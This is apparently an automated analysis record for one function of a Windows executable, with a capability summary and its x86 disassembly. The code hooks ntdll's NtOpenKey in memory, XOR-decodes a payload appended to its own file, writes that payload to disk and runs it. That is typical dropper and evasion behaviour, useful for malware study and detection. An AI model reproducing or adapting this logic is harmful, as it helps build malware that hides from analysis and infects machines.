Function at 0x401026
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5cc
mov eax, dword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [esp + 4], 6
lea esi, [esp + 8]
mov edi, dword [eax]
mov dword [esp], edi
push esi
push 0x40
lea ebp, [esp + 0xc]
push ebp
lea ebx, [esp + 0xc]
push ebx
push 0xffffffffffffffff
call sub.ntdll.dll_NtProtectVirtualMemory
mov dword [edi], 0xc248c033
mov word [edi + 4], 0xc
push esi
push dword [esp + 0xc]
push ebp
push ebx
push 0xffffffffffffffff
call sub.ntdll.dll_NtProtectVirtualMemory
push dword [esp + 4]
push dword [esp + 4]
push 0xffffffffffffffff
call sub.ntdll.dll_NtFlushInstructionCache
lea ecx, [esp + 0xbc]
mov edx, section..text
cmp edx, entry0
jae 0x4010a2
movzx eax, byte [edx]
inc edx
xor al, 0xde
mov byte [ecx], al
inc ecx
jmp 0x40108f
mov byte [ecx], 0
lea eax, [esp + 0xbc]
push eax
push 1
push 0
call 0x4012e0
call sub.KERNEL32.dll_GetCommandLineW
cmp word [eax], 0x22
mov esi, eax
jne 0x4010d4
add esi, 2
movzx eax, word [esi]
test ax, ax
je 0x4010d4
cmp ax, 0x22
jne 0x4010c3
movzx eax, word [esi]
test ax, ax
je 0x4010e5
add esi, 2
cmp ax, 0x20
jne 0x4010d4
lea ebx, [esp + 0x1c]
push ebx
call sub.KERNEL32.dll_GetStartupInfoW
lea eax, [esp + 0xc]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push esi
push 0
call sub.KERNEL32.dll_CreateProcessW
push 0x104
lea ebx, [esp + 0x4c0]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x4012c6
cmp eax, 0xffffffff
je 0x4012c6
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push 0x64
lea eax, [esp + 0xc8]
push eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0xbd]
lea ecx, [esp + 0x11f]
cmp edx, ecx
jae 0x401189
movzx eax, byte [esp + 0xbc]
xor byte [edx], al
inc edx
jmp 0x401178
lea ebx, [esp + 0x6c]
push ebx
call sub.KERNEL32.dll_GetStartupInfoA
lea eax, [esp + 0xc]
push eax
push ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0xe5]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x4012c6
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x4d4]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x4012c6
cmp eax, 0xffffffff
je 0x4012c6
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0xc5]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0xc5]
push dword [esp + 0xc9]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov edi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, edi
mov edx, edi
add eax, dword [esp + 0xbd]
cmp edi, eax
jae 0x401256
movzx eax, byte [esp + 0xbc]
xor byte [edx], al
mov eax, edi
inc edx
add eax, dword [esp + 0xbd]
cmp edx, eax
jmp 0x40123c
push pe_nt_image_headers32
lea esi, [esp + 0xc5]
push esi
call sub.KERNEL32.dll_SetFileAttributesA
push esi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push esi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x4012c6
cmp eax, 0xffffffff
je 0x4012c6
push 0
push ebp
push dword [esp + 0xc5]
push edi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x70]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]